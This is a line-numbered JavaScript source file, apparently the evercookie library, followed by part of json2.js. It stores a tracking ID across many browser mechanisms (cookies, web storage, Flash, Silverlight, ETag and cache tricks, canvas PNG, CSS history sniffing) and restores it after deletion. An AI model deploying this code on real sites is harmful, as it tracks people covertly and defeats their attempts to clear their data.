30 * - png generation w/forced cache and html5 canvas pixel reading
31 * - http etags
32 * - http cache
33 * - window.name
34 * - IE userData
35 * - html5 session cookies
36 * - html5 local storage
37 * - html5 global storage
38 * - html5 database storage via sqlite
39 * - css history scanning
40 *
41 * if any cookie is found, it's then reset to all the other locations
42 * for example, if someone deletes all but one type of cookie, once
43 * that cookie is re-discovered, all of the other cookie types get reset
44 *
45 * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
46 * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
47 *
48 * USAGE:
49
50 var ec = new evercookie();
51
52 // set a cookie "id" to "12345"
53 // usage: ec.set(key, value)
54 ec.set("id", "12345");
55
56 // retrieve a cookie called "id" (simply)
57 ec.get("id", function(value) { alert("Cookie value is " + value) });
58
59 // or use a more advanced callback function for getting our cookie
60 // the cookie value is the first param
61 // an object containing the different storage methods
62 // and returned cookie values is the second parameter
63 function getCookie(best_candidate, all_candidates)
64 {
65 alert("The retrieved cookie is: " + best_candidate + "\n" +
66 "You can see what each storage mechanism returned " +
67 "by looping through the all_candidates object.");
68
69 for (var item in all_candidates)
70 document.write("Storage mechanism " + item +
71 " returned " + all_candidates[item] + " votes<br>");
72 }
73 ec.get("id", getCookie);
74
75 // we look for "candidates" based off the number of "cookies" that
76 // come back matching since it's possible for mismatching cookies.
77 // the best candidate is very-very-likely the correct one
78
79*/
80
81/* to turn off CSS history knocking, set _ec_history to 0 */
82var _ec_history = 1; // CSS history knocking or not .. can be network intensive
83var _ec_tests = 10;//1000;
84var _ec_debug = 0;
85
86function _ec_dump(arr, level)
87{
88 var dumped_text = "";
89 if(!level) level = 0;
90
91 //The padding given at the beginning of the line.
92 var level_padding = "";
93 for(var j=0;j<level+1;j++) level_padding += " ";
94
95 if(typeof(arr) == 'object') { //Array/Hashes/Objects
96 for(var item in arr) {
97 var value = arr[item];
98
99 if(typeof(value) == 'object') { //If it is an array,
100 dumped_text += level_padding + "'" + item + "' ...\n";
101 dumped_text += _ec_dump(value,level+1);
102 } else {
103 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
104 }
105 }
106 } else { //Stings/Chars/Numbers etc.
107 dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
108 }
109 return dumped_text;
110}
111
112function _ec_replace(str, key, value)
113{
114 if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
115 {
116 // find start
117 var idx = str.indexOf('&' + key + '=');
118 if (idx == -1)
119 idx = str.indexOf(key + '=');
120
121 // find end
122 var end = str.indexOf('&', idx + 1);
123 var newstr;
124 if (end != -1)
125 newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
126 else
127 newstr = str.substr(0, idx) + '&' + key + '=' + value;
128
129 return newstr;
130 }
131 else
132 return str + '&' + key + '=' + value;
133}
134
135
136// necessary for flash to communicate with js...
137// please implement a better way
138var _global_lso;
139function _evercookie_flash_var(cookie)
140{
141 _global_lso = cookie;
142
143 // remove the flash object now
144 var swf = $('#myswf');
145 if (swf && swf.parentNode)
146 swf.parentNode.removeChild(swf);
147}
148
149var evercookie = (function () {
150this._class = function() {
151
152var self = this;
153// private property
154_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
155this._ec = {};
156var no_color = -1;
157
158this.get = function(name, cb, dont_reset)
159{
160 $(document).ready(function() {
161 self._evercookie(name, cb, undefined, undefined, dont_reset);
162 });
163};
164
165this.set = function(name, value)
166{
167 $(document).ready(function() {
168 self._evercookie(name, function() { }, value);
169 });
170};
171
172this._evercookie = function(name, cb, value, i, dont_reset)
173{
174 if (typeof self._evercookie == 'undefined')
175 self = this;
176
177 if (typeof i == 'undefined')
178 i = 0;
179
180 // first run
181 if (i == 0)
182 {
183 self.evercookie_database_storage(name, value);
184 self.evercookie_png(name, value);
185 self.evercookie_etag(name, value);
186 self.evercookie_cache(name, value);
187 self.evercookie_lso(name, value);
188 self.evercookie_silverlight(name, value);
189
190 self._ec.userData = self.evercookie_userdata(name, value);
191 self._ec.cookieData = self.evercookie_cookie(name, value);
192 self._ec.localData = self.evercookie_local_storage(name, value);
193 self._ec.globalData = self.evercookie_global_storage(name, value);
194 self._ec.sessionData = self.evercookie_session_storage(name, value);
195 self._ec.windowData = self.evercookie_window(name, value);
196
197 if (_ec_history)
198 self._ec.historyData = self.evercookie_history(name, value);
199 }
200
201 // when writing data, we need to make sure lso and silverlight object is there
202 if (typeof value != 'undefined')
203 {
204 if (
205 (
206 (typeof _global_lso == 'undefined') ||
207 (typeof _global_isolated == 'undefined')
208 )
209 && i++ < _ec_tests
210 )
211 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
212 }
213
214 // when reading data, we need to wait for swf, db, silverlight and png
215 else
216 {
217 if (
218 (
219 // we support local db and haven't read data in yet
220 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
221 (typeof _global_lso == 'undefined') ||
222 (typeof self._ec.etagData == 'undefined') ||
223 (typeof self._ec.cacheData == 'undefined') ||
224 (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
225 (typeof _global_isolated == 'undefined')
226 )
227 &&
228 i++ < _ec_tests
229 )
230 {
231 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
232 }
233
234 // we hit our max wait time or got all our data
235 else
236 {
237 // get just the piece of data we need from swf
238 self._ec.lsoData = self.getFromStr(name, _global_lso);
239 _global_lso = undefined;
240
241 // get just the piece of data we need from silverlight
242 self._ec.slData = self.getFromStr(name, _global_isolated);
243 _global_isolated = undefined;
244
245 var tmpec = self._ec;
246 self._ec = {};
247
248 // figure out which is the best candidate
249 var candidates = new Array();
250 var bestnum = 0;
251 var candidate;
252 for (var item in tmpec)
253 {
254 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
255 tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
256 {
257 candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
258 }
259 }
260
261 for (var item in candidates)
262 {
263 if (candidates[item] > bestnum)
264 {
265 bestnum = candidates[item];
266 candidate = item;
267 }
268 }
269
270 // reset cookie everywhere
271 if (typeof dont_reset == "undefined" || dont_reset != 1)
272 self.set(name, candidate);
273
274 if (typeof cb == 'function')
275 cb(candidate, tmpec);
276 }
277 }
278};
279
280this.evercookie_window = function(name, value)
281{
282 try {
283 if (typeof(value) != "undefined")
284 window.name = _ec_replace(window.name, name, value);
285 else
286 return this.getFromStr(name, window.name);
287 } catch(e) { }
288};
289
290this.evercookie_userdata = function(name, value)
291{
292 try {
293 var elm = this.createElem('div', 'userdata_el', 1);
294 elm.style.behavior = "url(#default#userData)";
295
296 if (typeof(value) != "undefined")
297 {
298 elm.setAttribute(name, value);
299 elm.save(name);
300 }
301 else
302 {
303 elm.load(name);
304 return elm.getAttribute(name);
305 }
306 } catch(e) { }
307};
308
309this.evercookie_cache = function(name, value)
310{
311 if (typeof(value) != "undefined")
312 {
313 // make sure we have evercookie session defined first
314 document.cookie = 'evercookie_cache=' + value;
315
316 // evercookie_cache.php handles caching
317 var img = new Image();
318 img.style.visibility = 'hidden';
319 img.style.position = 'absolute';
320 img.src = 'evercookie_cache.php?name=' + name;
321 }
322 else
323 {
324 // interestingly enough, we want to erase our evercookie
325 // http cookie so the php will force a cached response
326 var origvalue = this.getFromStr('evercookie_cache', document.cookie);
327 self._ec.cacheData = undefined;
328 document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
329
330 $.ajax({
331 url: 'evercookie_cache.php?name=' + name,
332 success: function(data) {
333 // put our cookie back
334 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
335
336 self._ec.cacheData = data;
337 }
338 });
339 }
340};
341
342this.evercookie_etag = function(name, value)
343{
344 if (typeof(value) != "undefined")
345 {
346 // make sure we have evercookie session defined first
347 document.cookie = 'evercookie_etag=' + value;
348
349 // evercookie_etag.php handles etagging
350 var img = new Image();
351 img.style.visibility = 'hidden';
352 img.style.position = 'absolute';
353 img.src = 'evercookie_etag.php?name=' + name;
354 }
355 else
356 {
357 // interestingly enough, we want to erase our evercookie
358 // http cookie so the php will force a cached response
359 var origvalue = this.getFromStr('evercookie_etag', document.cookie);
360 self._ec.etagData = undefined;
361 document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
362
363 $.ajax({
364 url: 'evercookie_etag.php?name=' + name,
365 success: function(data) {
366 // put our cookie back
367 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
368
369 self._ec.etagData = data;
370 }
371 });
372 }
373};
374
375this.evercookie_lso = function(name, value)
376{
377 var div = document.getElementById('swfcontainer');
378 if (!div)
379 {
380 div = document.createElement("div");
381 div.setAttribute('id', 'swfcontainer');
382 document.body.appendChild(div);
383 }
384
385 var flashvars = {};
386 if (typeof value != 'undefined')
387 flashvars.everdata = name + '=' + value;
388
389 var params = {};
390 params.swliveconnect = "true";
391 var attributes = {};
392 attributes.id = "myswf";
393 attributes.name = "myswf";
394 swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
395};
396
397this.evercookie_png = function(name, value)
398{
399 if (document.createElement('canvas').getContext)
400 {
401 if (typeof(value) != "undefined")
402 {
403 // make sure we have evercookie session defined first
404 document.cookie = 'evercookie_png=' + value;
405
406 // evercookie_png.php handles the hard part of generating the image
407 // based off of the http cookie and returning it cached
408 var img = new Image();
409 img.style.visibility = 'hidden';
410 img.style.position = 'absolute';
411 img.src = 'evercookie_png.php?name=' + name;
412 }
413 else
414 {
415 self._ec.pngData = undefined;
416 var context = document.createElement('canvas');
417 context.style.visibility = 'hidden';
418 context.style.position = 'absolute';
419 context.width = 200;
420 context.height = 1;
421 var ctx = context.getContext('2d');
422
423 // interestingly enough, we want to erase our evercookie
424 // http cookie so the php will force a cached response
425 var origvalue = this.getFromStr('evercookie_png', document.cookie);
426 document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
427
428 var img = new Image();
429 img.style.visibility = 'hidden';
430 img.style.position = 'absolute';
431 img.src = 'evercookie_png.php?name=' + name;
432
433 img.onload = function()
434 {
435 // put our cookie back
436 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
437
438 self._ec.pngData = '';
439 ctx.drawImage(img,0,0);
440
441 // get CanvasPixelArray from given coordinates and dimensions
442 var imgd = ctx.getImageData(0, 0, 200, 1);
443 var pix = imgd.data;
444
445 // loop over each pixel to get the "RGB" values (ignore alpha)
446 for (var i = 0, n = pix.length; i < n; i += 4)
447 {
448 if (pix[i ] == 0) break;
449 self._ec.pngData += String.fromCharCode(pix[i]);
450 if (pix[i+1] == 0) break;
451 self._ec.pngData += String.fromCharCode(pix[i+1]);
452 if (pix[i+2] == 0) break;
453 self._ec.pngData += String.fromCharCode(pix[i+2]);
454 }
455 }
456 }
457 }
458};
459
460this.evercookie_local_storage = function(name, value)
461{
462 try
463 {
464 if (window.localStorage)
465 {
466 if (typeof(value) != "undefined")
467 localStorage.setItem(name, value);
468 else
469 return localStorage.getItem(name);
470 }
471 }
472 catch (e) { }
473};
474
475this.evercookie_database_storage = function(name, value)
476{
477 try
478 {
479 if (window.openDatabase)
480 {
481 var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
482
483 if (typeof(value) != "undefined")
484 database.transaction(function(tx)
485 {
486 tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
487 "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
488 "name TEXT NOT NULL, " +
489 "value TEXT NOT NULL, " +
490 "UNIQUE (name)" +
491 ")", [], function (tx, rs) { }, function (tx, err) { });
492
493 tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
494 function (tx, rs) { }, function (tx, err) { })
495 });
496 else
497 {
498 database.transaction(function(tx)
499 {
500 tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
501 function(tx, result1) {
502 if (result1.rows.length >= 1)
503 self._ec.dbData = result1.rows.item(0)['value'];
504 else
505 self._ec.dbData = '';
506 }, function (tx, err) { })
507 });
508 }
509 }
510 } catch(e) { }
511};
512
513this.evercookie_session_storage = function(name, value)
514{
515 try
516 {
517 if (window.sessionStorage)
518 {
519 if (typeof(value) != "undefined")
520 sessionStorage.setItem(name, value);
521 else
522 return sessionStorage.getItem(name);
523 }
524 } catch(e) { }
525};
526
527this.evercookie_global_storage = function(name, value)
528{
529 if (window.globalStorage)
530 {
531 var host = this.getHost();
532
533 try
534 {
535 if (typeof(value) != "undefined")
536 eval("globalStorage[host]." + name + " = value");
537 else
538 return eval("globalStorage[host]." + name);
539 } catch(e) { }
540 }
541};
542this.evercookie_silverlight = function(name, value) {
543 /*
544 * Create silverlight embed
545 *
546 * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
547 * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
548 */
549 var source = "evercookie.xap";
550 var minver = "4.0.50401.0";
551
552 var initParam = "";
553 if(typeof(value) != "undefined")
554 initParam = '<param name="initParams" value="'+name+'='+value+'" />';
555
556 var html =
557 '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
558 initParam +
559 '<param name="source" value="'+source+'"/>' +
560 '<param name="onLoad" value="onSilverlightLoad"/>' +
561 '<param name="onError" value="onSilverlightError"/>' +
562 '<param name="background" value="Transparent"/>' +
563 '<param name="windowless" value="true"/>' +
564 '<param name="minRuntimeVersion" value="'+minver+'"/>' +
565 '<param name="autoUpgrade" value="true"/>' +
566 '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
567 '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
568 '</a>' +
569 '</object>';
570 document.body.innerHTML+=html;
571};
572
573// public method for encoding
574this.encode = function (input) {
575 var output = "";
576 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
577 var i = 0;
578
579 input = this._utf8_encode(input);
580
581 while (i < input.length) {
582
583 chr1 = input.charCodeAt(i++);
584 chr2 = input.charCodeAt(i++);
585 chr3 = input.charCodeAt(i++);
586
587 enc1 = chr1 >> 2;
588 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
589 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
590 enc4 = chr3 & 63;
591
592 if (isNaN(chr2)) {
593 enc3 = enc4 = 64;
594 } else if (isNaN(chr3)) {
595 enc4 = 64;
596 }
597
598 output = output +
599 _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
600 _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
601
602 }
603
604 return output;
605};
606
607// public method for decoding
608this.decode = function (input) {
609 var output = "";
610 var chr1, chr2, chr3;
611 var enc1, enc2, enc3, enc4;
612 var i = 0;
613
614 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
615
616 while (i < input.length) {
617 enc1 = _baseKeyStr.indexOf(input.charAt(i++));
618 enc2 = _baseKeyStr.indexOf(input.charAt(i++));
619 enc3 = _baseKeyStr.indexOf(input.charAt(i++));
620 enc4 = _baseKeyStr.indexOf(input.charAt(i++));
621
622 chr1 = (enc1 << 2) | (enc2 >> 4);
623 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
624 chr3 = ((enc3 & 3) << 6) | enc4;
625
626 output = output + String.fromCharCode(chr1);
627
628 if (enc3 != 64) {
629 output = output + String.fromCharCode(chr2);
630 }
631 if (enc4 != 64) {
632 output = output + String.fromCharCode(chr3);
633 }
634
635 }
636
637 output = this._utf8_decode(output);
638
639 return output;
640
641};
642
643// private method for UTF-8 encoding
644this._utf8_encode = function (string) {
645 string = string.replace(/\r\n/g,"\n");
646 var utftext = "";
647
648 for (var n = 0; n < string.length; n++) {
649
650 var c = string.charCodeAt(n);
651
652 if (c < 128) {
653 utftext += String.fromCharCode(c);
654 }
655 else if((c > 127) && (c < 2048)) {
656 utftext += String.fromCharCode((c >> 6) | 192);
657 utftext += String.fromCharCode((c & 63) | 128);
658 }
659 else {
660 utftext += String.fromCharCode((c >> 12) | 224);
661 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
662 utftext += String.fromCharCode((c & 63) | 128);
663 }
664
665 }
666
667 return utftext;
668};
669
670// private method for UTF-8 decoding
671this._utf8_decode = function (utftext) {
672 var string = "";
673 var i = 0;
674 var c = c1 = c2 = 0;
675
676 while ( i < utftext.length ) {
677
678 c = utftext.charCodeAt(i);
679
680 if (c < 128) {
681 string += String.fromCharCode(c);
682 i++;
683 }
684 else if((c > 191) && (c < 224)) {
685 c2 = utftext.charCodeAt(i+1);
686 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
687 i += 2;
688 }
689 else {
690 c2 = utftext.charCodeAt(i+1);
691 c3 = utftext.charCodeAt(i+2);
692 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
693 i += 3;
694 }
695
696 }
697
698 return string;
699};
700
701// this is crazy but it's 4am in dublin and i thought this would be hilarious
702// blame the guinness
703this.evercookie_history = function(name, value)
704{
705 // - is special
706 var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
707 var baseElems = baseStr.split("");
708
709 // sorry google.
710 var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
711
712 if (typeof(value) != "undefined")
713 {
714 // don't reset this if we already have it set once
715 // too much data and you can't clear previous values
716 if (this.hasVisited(url))
717 return;
718
719 this.createIframe(url, 'if');
720 url = url + '/';
721
722 var base = this.encode(value).split("");
723 for (var i = 0; i < base.length; i++)
724 {
725 url = url + base[i];
726 this.createIframe(url, 'if' + i);
727 }
728
729 // - signifies the end of our data
730 url = url + '-';
731 this.createIframe(url, 'if_');
732 }
733 else
734 {
735 // omg you got csspwn3d
736 if (this.hasVisited(url))
737 {
738 url = url + '/';
739
740 var letter = "";
741 var val = "";
742 var found = 1;
743 while (letter != '-' && found == 1)
744 {
745 found = 0;
746 for (var i = 0; i < baseElems.length; i++)
747 {
748 if (this.hasVisited(url + baseElems[i]))
749 {
750 letter = baseElems[i];
751 if (letter != '-')
752 val = val + letter;
753 url = url + letter;
754 found = 1;
755 break;
756 }
757 }
758 }
759
760 // lolz
761 return this.decode(val);
762 }
763 }
764};
765
766this.createElem = function(type, name, append)
767{
768 var el;
769 if (typeof name != 'undefined' && document.getElementById(name))
770 el = document.getElementById(name);
771 else
772 el = document.createElement(type);
773 el.style.visibility = 'hidden';
774 el.style.position = 'absolute';
775
776 if (name)
777 el.setAttribute('id', name);
778
779 if (append)
780 document.body.appendChild(el);
781
782 return el;
783};
784
785this.createIframe = function(url, name)
786{
787 var el = this.createElem('iframe', name, 1);
788 el.setAttribute('src', url);
789 return el;
790};
791
792// wait for our swfobject to appear (swfobject.js to load)
793this.waitForSwf = function(i)
794{
795 if (typeof i == 'undefined')
796 i = 0;
797 else
798 i++;
799
800 // wait for ~2 seconds for swfobject to appear
801 if (i < _ec_tests && typeof swfobject == 'undefined')
802 setTimeout(function() { waitForSwf(i) }, 300);
803};
804
805this.evercookie_cookie = function(name, value)
806{
807 try{
808 if (typeof(value) != "undefined")
809 {
810 // expire the cookie first
811 document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
812 document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
813 }
814 else
815 return this.getFromStr(name, document.cookie);
816 }catch(e){
817 // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
818 // evercookie_userdata and evercookie_window will be used in this case.
819 }
820};
821
822// get value from param-like string (eg, "x=y&name=VALUE")
823this.getFromStr = function(name, text)
824{
825 if (typeof text != 'string')
826 return;
827
828 var nameEQ = name + "=";
829 var ca = text.split(/[;&]/);
830 for (var i = 0; i < ca.length; i++)
831 {
832 var c = ca[i];
833 while (c.charAt(0) == ' ')
834 c = c.substring(1, c.length);
835 if (c.indexOf(nameEQ) == 0)
836 return c.substring(nameEQ.length, c.length);
837 }
838};
839
840this.getHost = function()
841{
842 var domain = document.location.host;
843 if (domain.indexOf('www.') == 0)
844 domain = domain.replace('www.', '');
845 return domain;
846};
847
848this.toHex = function(str)
849{
850 var r = "";
851 var e = str.length;
852 var c = 0;
853 var h;
854 while (c < e)
855 {
856 h = str.charCodeAt(c++).toString(16);
857 while (h.length < 2)
858 h = "0" + h;
859 r += h;
860 }
861 return r;
862};
863
864this.fromHex = function(str)
865{
866 var r = "";
867 var e = str.length;
868 var s;
869 while (e >= 0)
870 {
871 s = e - 2;
872 r = String.fromCharCode("0x" + str.substring(s, e)) + r;
873 e = s;
874 }
875 return r;
876};
877
878/*
879 * css history knocker (determine what sites your visitors have been to)
880 *
881 * originally by Jeremiah Grossman
882 * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
883 *
884 * ported to additional browsers by Samy Kamkar
885 *
886 * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
887 *
888 * - code@samy.pl
889 */
890
891
892this.hasVisited = function(url)
893{
894 if (this.no_color == -1)
895 {
896 var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
897 if (no_style == -1)
898 this.no_color =
899 this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
900 }
901
902 // did we give full url?
903 if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
904 return this._testURL(url, this.no_color);
905
906 // if not, just test a few diff types if (exact)
907 return this._testURL("http://" + url, this.no_color) ||
908 this._testURL("https://" + url, this.no_color) ||
909 this._testURL("http://www." + url, this.no_color) ||
910 this._testURL("https://www." + url, this.no_color);
911};
912
913/* create our anchor tag */
914var _link = this.createElem('a', '_ec_rgb_link');
915
916/* for monitoring */
917var created_style;
918
919/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
920var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
921
922/* Methods for IE6, IE7, FF, Opera, and Safari */
923try {
924 created_style = 1;
925 var style = document.createElement('style');
926 if (style.styleSheet)
927 style.styleSheet.innerHTML = _cssText;
928 else if (style.innerHTML)
929 style.innerHTML = _cssText;
930 else
931 {
932 var cssT = document.createTextNode(_cssText);
933 style.appendChild(cssT);
934 }
935} catch (e) {
936 created_style = 0;
937}
938
939/* if test_color, return -1 if we can't set a style */
940this._getRGB = function (u, test_color) {
941 if (test_color && created_style == 0)
942 return -1;
943
944 /* create the new anchor tag with the appropriate URL information */
945 _link.href = u;
946 _link.innerHTML = u;
947 // not sure why, but the next two appendChilds always have to happen vs just once
948 document.body.appendChild(style);
949 document.body.appendChild(_link);
950
951 /* add the link to the DOM and save the visible computed color */
952 var color;
953 if (document.defaultView)
954 color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
955 else
956 color = _link.currentStyle['color'];
957
958 return color;
959};
960
961this._testURL = function(url, no_color){
962 var color = this._getRGB(url);
963
964 /* check to see if the link has been visited if the computed color is red */
965 if (color == "rgb(255, 0, 0)" || color == "#ff0000")
966 return 1;
967
968 /* if our style trick didn't work, just compare default style colors */
969 else if (no_color && color != no_color)
970 return 1;
971
972 /* not found */
973 return 0;
974}
975
976};
977
978return _class;
979})();
980
981
982/*
983 * Again, ugly workaround....same problem as flash.
984*/
985var _global_isolated;
986function onSilverlightLoad(sender, args) {
987 var control = sender.getHost();
988 _global_isolated = control.Content.App.getIsolatedStorage();
989}
990/*
991function onSilverlightError(sender, args) {
992 _global_isolated = "";
993
994}*/
995function onSilverlightError(sender, args) {
996 _global_isolated = "";
997}
998
999
1000/*
1001 https://github.com/douglascrockford/JSON-js/blob/master/json2.js
1002 2011-02-23
1003
1004// Create a JSON object only if one does not already exist. We create the
1005// methods in a closure to avoid creating global variables.
1006*/
1007
1008var JSON;
1009if (!JSON) {
1010 JSON = {};
1011}
1012
1013(function () {
1014 "use strict";
1015
1016 function f(n) {
1017 // Format integers to have at least two digits.
1018 return n < 10 ? '0' + n : n;
1019 }
1020
1021 if (typeof Date.prototype.toJSON !== 'function') {
1022
1023 Date.prototype.toJSON = function (key) {
1024
1025 return isFinite(this.valueOf()) ?
1026 this.getUTCFullYear() + '-' +
1027 f(this.getUTCMonth() + 1) + '-' +
1028 f(this.getUTCDate()) + 'T' +
1029 f(this.getUTCHours()) + ':' +
1030 f(this.getUTCMinutes()) + ':' +
1031 f(this.getUTCSeconds()) + 'Z' : null;
1032 };
1033
1034 String.prototype.toJSON =
1035 Number.prototype.toJSON =
1036 Boolean.prototype.toJSON = function (key) {
1037 return this.valueOf();
1038 };
1039 }
1040
1041 var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
1042 escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
1043 gap,
1044 indent,
1045 meta = { // table of character substitutions
1046 '\b': '\\b',
1047 '\t': '\\t',
1048 '\n': '\\n',
1049 '\f': '\\f',
1050 '\r': '\\r',
1051 '"' : '\\"',
1052 '\\': '\\\\'
1053 },
1054 rep;
1055
1056
1057 function quote(string) {
1058
1059// If the string contains no control characters, no quote characters, and no
1060// backslash characters, then we can safely slap some quotes around it.
1061// Otherwise we must also replace the offending characters with safe escape
1062// sequences.
1063
1064 escapable.lastIndex = 0;
1065 return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
1066 var c = meta[a];
1067 return typeof c === 'string' ? c :
1068 '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
1069 }) + '"' : '"' + string + '"';
1070 }
1071
1072
1073 function str(key, holder) {
1074
1075// Produce a string from holder[key].
1076
1077 var i, // The loop counter.
1078 k, // The member key.
1079 v, // The member value.
1080 length,
1081 mind = gap,
1082 partial,
1083 value = holder[key];
1084
1085// If the value has a toJSON method, call it to obtain a replacement value.
1086
1087 if (value && typeof value === 'object' &&
1088 typeof value.toJSON === 'function') {
1089 value = value.toJSON(key);
1090 }
1091
1092// If we were called with a replacer function, then call the replacer to
1093// obtain a replacement value.
1094
1095 if (typeof rep === 'function') {
1096 value = rep.call(holder, key, value);
1097 }
1098
1099// What happens next depends on the value's type.
1100
1101 switch (typeof value) {
1102 case 'string':
1103 return quote(value);
1104
1105 case 'number':
1106
1107// JSON numbers must be finite. Encode non-finite numbers as null.
1108
1109 return isFinite(value) ? String(value) : 'null';
1110
1111 case 'boolean':
1112 case 'null':
1113
1114// If the value is a boolean or null, convert it to a string. Note:
1115// typeof null does not produce 'null'. The case is included here in
1116// the remote chance that this gets fixed someday.
1117
1118 return String(value);
1119
1120// If the type is 'object', we might be dealing with an object or an array or
1121// null.
1122
1123 case 'object':
1124
1125// Due to a specification blunder in ECMAScript, typeof null is 'object',
1126// so watch out for that case.
1127
1128 if (!value) {
1129 return 'null';
1130 }
1131
1132// Make an array to hold the partial results of stringifying this object value.
1133
1134 gap += indent;
1135 partial = [];
1136
1137// Is the value an array?
1138
1139 if (Object.prototype.toString.apply(value) === '[object Array]') {
1140
1141// The value is an array. Stringify every element. Use null as a placeholder
1142// for non-JSON values.
1143
1144 length = value.length;
1145 for (i = 0; i < length; i += 1) {
1146 partial[i] = str(i, value) || 'null';
1147 }
1148
1149// Join all of the elements together, separated with commas, and wrap them in
1150// brackets.
1151
1152 v = partial.length === 0 ? '[]' : gap ?
1153 '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
1154 '[' + partial.join(',') + ']';
1155 gap = mind;
1156 return v;
1157 }
1158
1159// If the replacer is an array, use it to select the members to be stringified.
1160
1161 if (rep && typeof rep === 'object') {
1162 length = rep.length;
1163 for (i = 0; i < length; i += 1) {
1164 if (typeof rep[i] === 'string') {
1165 k = rep[i];
1166 v = str(k, value);
1167 if (v) {
1168 partial.push(quote(k) + (gap ? ': ' : ':') + v);
1169 }
1170 }
1171 }
1172 } else {
1173
1174// Otherwise, iterate through all of the keys in the object.
1175
1176 for (k in value) {
1177 if (Object.prototype.hasOwnProperty.call(value, k)) {
1178 v = str(k, value);
1179 if (v) {
1180 partial.push(quote(k) + (gap ? ': ' : ':') + v);
1181 }
1182 }
1183 }
1184 }
1185
1186// Join all of the member texts together, separated with commas,
1187// and wrap them in braces.
1188
1189 v = partial.length === 0 ? '{}' : gap ?
1190 '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
1191 '{' + partial.join(',') + '}';
1192 gap = mind;
1193 return v;
1194 }
1195 }
1196
1197// If the JSON object does not yet have a stringify method, give it one.
1198
1199 if (typeof JSON.stringify !== 'function') {
1200 JSON.stringify = function (value, replacer, space) {
1201
1202// The stringify method takes a value and an optional replacer, and an optional
1203// space parameter, and returns a JSON text. The replacer can be a function
1204// that can replace values, or an array of strings that will select the keys.
1205// A default replacer method can be provided. Use of the space parameter can
1206// produce text that is more easily readable.
1207
1208 var i;
1209 gap = '';
1210 indent = '';
1211
1212// If the space parameter is a number, make an indent string containing that
1213// many spaces.
1214
1215 if (typeof space === 'number') {
